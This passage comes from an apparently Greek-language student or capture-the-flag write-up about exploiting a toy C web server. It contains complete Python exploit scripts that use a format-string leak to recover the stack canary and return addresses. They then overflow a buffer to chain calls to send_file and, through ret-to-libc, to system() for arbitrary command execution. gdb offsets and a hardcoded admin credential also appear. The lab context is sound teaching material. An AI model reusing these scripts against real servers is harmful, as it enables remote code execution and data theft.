canary_val = struct.pack('<L', int(get_value(canary_pos), base=16))
ebp_val = struct.pack('<L', int(get_value(ebp_pos), base=16))
ebx_val = struct.pack('<L', int(get_value(ebx_pos), base=16))
ret_val = struct.pack('<L', int(get_value(ret_pos), base=16) + int("0x870", base=16)) #global serve_ultimate
ret2_val = struct.pack('<L', int(get_value(ret_pos), base=16) + int("0x29C", base=16)) #return to end of ROUTE()
with open("payload", "wb") as binary_file:
payload = "a" * 100
payload1 = "a" * 4
payload = payload.encode("utf-8")
binary_file.write(payload)
binary_file.write(canary_val)
payload1 = payload1.encode("utf-8")
binary_file.write(payload1)
binary_file.write(ebx_val)
binary_file.write(ebp_val)
binary_file.write(ret_val)
binary_file.write(ret2_val)
data = open('payload', 'rb').read()
auth_header = get_auth_header()
app_header = {'Content-Type': 'application/octet-stream'}
headers = dict(auth_header)
headers.update(app_header)
print(headers)
res = requests.post(POST_URL, data=data, headers=headers, timeout=1000000)
print(res)
print(res.text)
```
Το περιεχόμενο της σελίδας ultimate.html ήταν το εξής:
```
41.99334111122333
Preliminary results, the answer is approximate.
Our supercomputer is working on it but it's taking forever.
The log is here: /var/log/z.log
```
Οπότε και η λύση στο 3ο ερώτημα είναι:
```
41.99334111122333
```
</div>
</div>
---
## 4η Ερώτηση
<div style="text-align: justify">
<b>Ποιο είναι το code του "Plan Z";</b></br></br>
Από το περιεχόμενο της σελίδας ultimate.html καταλάβαμε πως έπρεπε με κάποιον τρόπο να πάρουμε το περιεχόμενο του αρχείου <b>/var/log/z.log</b> για να προχωρήσουμε με το Plan Z.
Σκεπτόμενοι πως για να δούμε το περιεχόμενο του ultimate.html καλέσαμε την serve_ultimate, η οποία καλεί την send_file("./site/ultimate.html"), όπου η τελευταία μας «σερβίρει» το περιεχόμενο της σελίδας, αποφασίσαμε πως πρέπει να κάνουμε κάτι ανάλογο και τώρα.
Γενικά η send_file(page) μας επιστρέφει το περιεχόμενο της σελίδας page. Στη serve_ultimate() δεν μπορούσαμε κάπως να εκμεταλλευτούμε την κλήση της send_file, καθώς το όρισμά της είναι σε περιοχή read-only.
Επομένως, το επόμενο βήμα ήταν να καλέσουμε απευθείας την send_file() βάζοντας στο stack στην κατάλληλη θέση το όρισμα "/var/log/z.log". Όμως, δεν θα πέρναμε πίσω το περιεχόμενο του αρχείου αν καλούσαμε απευθείας μετά την post_param() την send_file(), διότι δεν θα είχαμε πάρει πίσω τα κατάλληλα headers από τον server. Επομένως, δύο πράγματα μπορούσαμε να κάνουμε· είτε να καλέσουμε την printf() δίνοντας το κατάλληλο όρισμα και έπειτα την send_file() με όμοιο τρόπο, είτε να καλούσαμε την serve_ultimate(), η οποία θα μας έστελνε τα headers και το αρχείο ultimate.html και, έπειτα να επιστρέφαμε στην send_file() δίνοντας το κατάλληλο όρισμα στο stack.
Η πρώτη επιλογή μας φάνηκε κάπως πιο περίπλοκη, επειδή έπρεπε να βρούμε τη θέση της printf και το πώς αυτή διαχειρίζεται τις διάφορες περιπτώσεις των arguments. Επομένως, οδηγηθήκαμε στο να ακολουθήσουμε τη δεύτερη σκέψη. Έτσι, χρησιμοποιώντας ό,τι είχαμε βρει στο προηγούμενο ερώτημα χρειαζόμασταν ελάχιστες πληροφορίες για να φτιάξουμε το κατάλληλο payload για την post_param().
Με παρόμοιο τρόπο, όπως με το ερώτημα 3, βρήκαμε την απόσταση του return_address της check_auth από την global send_file, η οποία ήταν:
```
global send_file - ret check_auth:
0x5655673e - 0x565560e8 --> 0x656
```
και έτσι μπορούσαμε να κάνουμε την serve_ultimate να επιστρέψει στην send_file. Το επόμενο βήμα ήταν να βάλουμε στο stack στην κατάλληλη θέση το όρισμα.
Προφανώς, το όρισμα θα τοποθετηθεί πάνω από το return address της post_param, αφού εκεί κάνουμε το buffer overflow και βάζουμε το payload (άρα και το όρισμα για την send_file). Για την send_file όμως χρειαζόμαστε για όρισμα έναν δείκτη σε string. Επομένως, σύμφωνα με το παρακάτω σχήμα
```
| "a"*100 | canary | "a"*4 | ebx | ebp | ret_to_serve_ultimate | ret_to_send_file() | ret_to_ROUTE_END() | ptr_to_arg | arg |
```
πρέπει με μια σταθερή τιμή (ebp της post_param) που βρίσκεται στο stack να βρούμε την θέση που θα τοποθετηθεί το arg, έτσι ώστε να τη βάλουμε στο ptr_to_arg.
Έτσι, αφού εμείς είχαμε βρεί τον %ebp στην check_auth (δηλαδή την τιμή του %ebp της route), έπρεπε να βρούμε αρχικά την απόσταση αυτού από τον %ebp της post_param. Με τη βοήθεια του gdb (με break, set follow-fork-mode child κα) βρήκαμε το συγκεκριμένο offset:
```
check auth:
(gdb) x/a $ebp
0xffffd888: 0xffffd928
post_param:
(gdb) x/a $ebp
0xffffd888: 0xffffd928
ebp route - ebp post_param:
0xffffd928 - 0xffffd888 = 0xa0
```
:::info
Όπως φαίνεται ο $ebp και η παλιά τιμή του για τα δύο stack frames είναι οι ίδιες.
:::
Επίσης, από το παραπάνω σχήμα για το payload βλέπουμε πως το arg βρίσκεται 5 θέσεις πάνω από τον %ebp. Άρα, το arg βρίσκεται στη θέση:
```
$ebp_post_param + 0x14 ($ebp + 20) # 4 bytes * 5 θέσεις
```
Άρα, συνολικά ο ptr_to_arg έπρεπε να έχει την τιμή:
```
$ebp_route + 0x14 - 0xa0 = $ebp_route - 0x8c
```
Ομοίως με το 3ο ερώτημα το ret_to_ROUTE_END() χρησιμεύει για clean ροή του server και είναι εκεί όπου θα επιστρέψει η send_file(), αφού μας στείλει το περιεχόμενο του αρχείου z.log .
Το argument το φτιάξαμε στην python προσθέτοντας στο τέλος το <b>'\0'</b> με τον χαρακτήρα '=' (την ίδια επίδραση έχει και ο '&').
:::info
Υπενθυμίζουμε ότι στον κώδικα υπήρχε το
```
if (post_data[i] == '&' || post_data[i] == '=')
post_data[i] = '\0';
```
όπου ουσιαστικά χρησίμευε στο διαχωρισμό των paremeters name1=value1&name2=value2... που υπήρχαν στο κάθε post request.
:::
Παρατίθεται το script που υλοποιεί την παραπάνω διαδικασία σε python.
```python=
from sys import argv
import requests
import base64
import struct
GET_URL = "http://127.0.0.1:8000"
POST_URL = "http://127.0.0.1:8000/ultimate.html"
def get_auth_header():
auth = bytes("admin:you shall not pass", "utf-8")
auth_header={'Authorization' : 'Basic %s' % base64.b64encode(auth).decode('utf-8')}
return auth_header
def get_values(var):
hexValues = []
auth = bytes(var, "utf-8")
headers={'Authorization': 'Basic %s' % base64.b64encode(auth).decode('utf-8')}
r = requests.get(GET_URL, headers=headers)
response = r.headers["WWW-Authenticate"]
hexValues = [word[2:] for word in response.split() if word.startswith("0x")]
return hexValues
canary_pos = "%27$p "
ebx_pos = "%29$p "
ebp_pos = "%30$p "
ret_pos_check_auth = "%31$p "
var = canary_pos + ebx_pos + ebp_pos + ret_pos_check_auth
hexValues = get_values(var)
canary_val = struct.pack('<L', int(hexValues[0], base=16))
ebx_val = struct.pack('<L', int(hexValues[1], base=16))
ebp_val = struct.pack('<L', int(hexValues[2], base=16))
serve_ultimate = struct.pack('<L', int(hexValues[3], base=16) + int("0x870", base=16)) #return to serve_ultimate
send_file = struct.pack('<L', int(hexValues[3], base=16) + int("0x656", base=16)) #return to send_file
end_of_route = struct.pack('<L', int(hexValues[3], base=16) + int("0x29C", base=16)) #return to end of ROUTE()
ptr_to_path = struct.pack('<L', int(hexValues[2], base=16) - int("0x8c", base=16))
path = str(argv[1] + "=").encode("utf-8")
fillBuf = str("a" * 100).encode("utf-8")
fill4bytes = str("aaaa").encode("utf-8")
with open("payload", "wb") as binary_file:
binary_file.write(fillBuf)
binary_file.write(canary_val)
binary_file.write(fill4bytes)
binary_file.write(ebx_val)
binary_file.write(ebp_val)
binary_file.write(serve_ultimate)
binary_file.write(send_file)
binary_file.write(end_of_route)
binary_file.write(ptr_to_path)
binary_file.write(path)
data = open('payload', 'rb').read()
auth_header = get_auth_header()
app_header = {'Content-Type': 'application/octet-stream'}
headers = dict(auth_header)
headers.update(app_header)
res = requests.post(POST_URL, data=data, headers=headers, timeout=1000000)
print("RESULT:\n")
print(res.text[173:])
```
Το περιεχόμενο του αρχείου z.log ήταν το εξής:
```
Computing, approximate answer: 41.9933411112233311
...
Plan Z: troll humans who ask stupid questions (real fun).
I told them I need 7.5 million years to compute this :D
In the meanwhile I'm travelling through time trolling humans of the past.
Currently playing this clever dude using primitive hardware, he's good but the
next move is crushing...
1.e4 c6 2.d4 d5 3.Nc3 dxe4 4.Nxe4 Nd7 5.Ng5 Ngf6 6.Bd3 e6 7.N1f3 h6 8.Nxe6 Qe7 9.0-0 fxe6 10.Bg6+ Kd8 11.Bf4 b5 12.a4 Bb7 13.Re1 Nd5 14.Bg3 Kc8 15.axb5 cxb5 16.Qd3 Bc6 17.Bf5 exf5 18.Rxe7 Bxe7
PS. To reach me in the past use the code: "<next move><public IP of this machine>"
PS2. To know a fish go to the water; to know a bird's song go to the mountains.
```
Με λίγο googlάρισμα βρήκαμε πως η παραπάνω ακολουθία πρόκειται για κινήσεις στο σκάκι και συγκεκριμένα το παιχνίδι στο οποίο ο Kasparov νικήθηκε από τον Deep Blue. Το next move ήταν το εξής:
```
next move = 19.c4 1–0
```
Για να συμπληρωθεί το «παζλ» έπρεπε να βρούμε, όπως αναφερόταν στο PS, τη δημόσια IP του μηχανήματος που έτρεχε ο server! Ψάχνοντας βρήκαμε (https://www.tecmint.com/find-linux-server-public-ip-address/) πως έπρεπε να τρέξουμε κάποια εντολή στον ίδιο τον server. Επομένως, έπρεπε να βρούμε τρόπο να καλέσουμε την συνάρτηση <b>system</b>. Η σκέψη, μας ήρθε από το γεγονός πως μέχρι τώρα αυτό που κάναμε ήταν να βρίσκουμε τα offsets των διαφόρων συναρτήσεων που ξέρουμε πού βρίσκονται σε σχέση με τη γνωστή σε εμάς check_auth και έτσι να τις καλούμε. Οπότε κάπως έπρεπε να εντοπίσουμε που βρίσκεται η system στον server. Έτσι, με παρόμοιο τρόπο όπως με τη send_file θα δίναμε στο όρισμα την εντολή που θα μας επέστρεφε την IP του server.
Η system βρίσκεται στη βιβλιοθήκη libc. Επομένως, έπειτα από λίγο ψάξιμο βρήκαμε πως υπάρχει η επίθεση <b>ret-to-libc</b> (σε πολλά παραδείγματα χρησιμοποιείται η system). Η libc δεν βρίσκεται σε κάποια σταθερή θέση στη μνήμη. Όμως τα offsets από τις συναρτήσεις που υλοποιεί είναι τα ίδια. Επομένως, αρκεί να βρεθούμε κάπως στη libc και από εκεί να βρούμε την απόσταση για τη system.
Τελικά, είδαμε πως η main επιστρέφει στη libc. Άρα, έπρεπε να βρούμε το return_address της main. Με το format string vulnerability καταφέραμε να βρούμε πως το return_address της main βρίσκεται στη θέση <b>%111$p</b>.
Οπότε, με τη βοήθεια του gdb, βρήκαμε την απόσταση από εκεί που επιστρέφει η main προς τη system. Αυτή η απόσταση ήταν:
```
Break in main:
(gdb) x/a $ebp+4
0xffffd9cc: 0xf7c23647
(gdb) x/a 0xf7c23647
0xf7c23647 <__libc_start_main+247>: 0x8310c483
global system - ret main:
0xf7c45db0 - 0xf7c23647 --> 0x22769
```
:::info
How to find system?
Just type: disas system
:::
Από εκεί και πέρα η διαδικασία και το python script ήταν πάνω-κάτω το ίδιο με τη διαδικασία που ακολουθήσαμε για το αρχείο z.log .
Παρατίθεται το python script:
```python=
from sys import argv
import requests
import base64
import struct
GET_URL = "http://127.0.0.1:8000"
POST_URL = "http://127.0.0.1:8000/ultimate.html"
def get_auth_header():
auth = bytes("admin:you shall not pass", "utf-8")
auth_header={'Authorization' : 'Basic %s' % base64.b64encode(auth).decode('utf-8')}
return auth_header
def get_values(var):
hexValues = []
auth = bytes(var, "utf-8")
headers={'Authorization': 'Basic %s' % base64.b64encode(auth).decode('utf-8')}
r = requests.get(GET_URL, headers=headers)
response = r.headers["WWW-Authenticate"]
hexValues = [word[2:] for word in response.split() if word.startswith("0x")]
return hexValues
canary_pos = "%27$p "
ebx_pos = "%29$p "
ebp_pos = "%30$p "
ret_pos_check_auth = "%31$p "
ret_pos_main = "%111$p "
var = canary_pos + ebx_pos + ebp_pos + ret_pos_check_auth + ret_pos_main
hexValues = get_values(var)
canary_val = struct.pack('<L', int(hexValues[0], base=16))
ebx_val = struct.pack('<L', int(hexValues[1], base=16))
ebp_val = struct.pack('<L', int(hexValues[2], base=16))
serve_ultimate = struct.pack('<L', int(hexValues[3], base=16) + int("0x870", base=16)) #return to serve_ultimate
system = struct.pack('<L', int(hexValues[4], base=16) + int("0x22769", base=16)) #return to system
end_of_route = struct.pack('<L', int(hexValues[3], base=16) + int("0x29C", base=16)) #return to end of ROUTE()
ptr_to_cmd = struct.pack('<L', int(hexValues[2], base=16) - int("0x8c", base=16))
command = str(argv[1] + "=").encode("utf-8")
fillBuf = str("a" * 100).encode("utf-8")
fill4bytes = str("aaaa").encode("utf-8")
with open("payload", "wb") as binary_file:
binary_file.write(fillBuf)
binary_file.write(canary_val)
binary_file.write(fill4bytes)
binary_file.write(ebx_val)
binary_file.write(ebp_val)
binary_file.write(serve_ultimate)
binary_file.write(system)
binary_file.write(end_of_route)
binary_file.write(ptr_to_cmd)
binary_file.write(command)
data = open('payload', 'rb').read()
auth_header = get_auth_header()
app_header = {'Content-Type': 'application/octet-stream'}
headers = dict(auth_header)
headers.update(app_header)
res = requests.post(POST_URL, data=data, headers=headers, timeout=1000000)
print("RESULT:\n")
print(res.text[173:])
```
Έτσι, με την εντολή:
```
curl ifconfig.me
```
καταφέραμε να βρούμε την public IP του server, η οποία ήταν:
```
3.85.143.73
```
Έτσι, η τελική απάντηση για το 4ο ερώτημα είναι:
```
19.c4 1–0 3.85.143.73
```
</div>
Καλή διόρθωση!!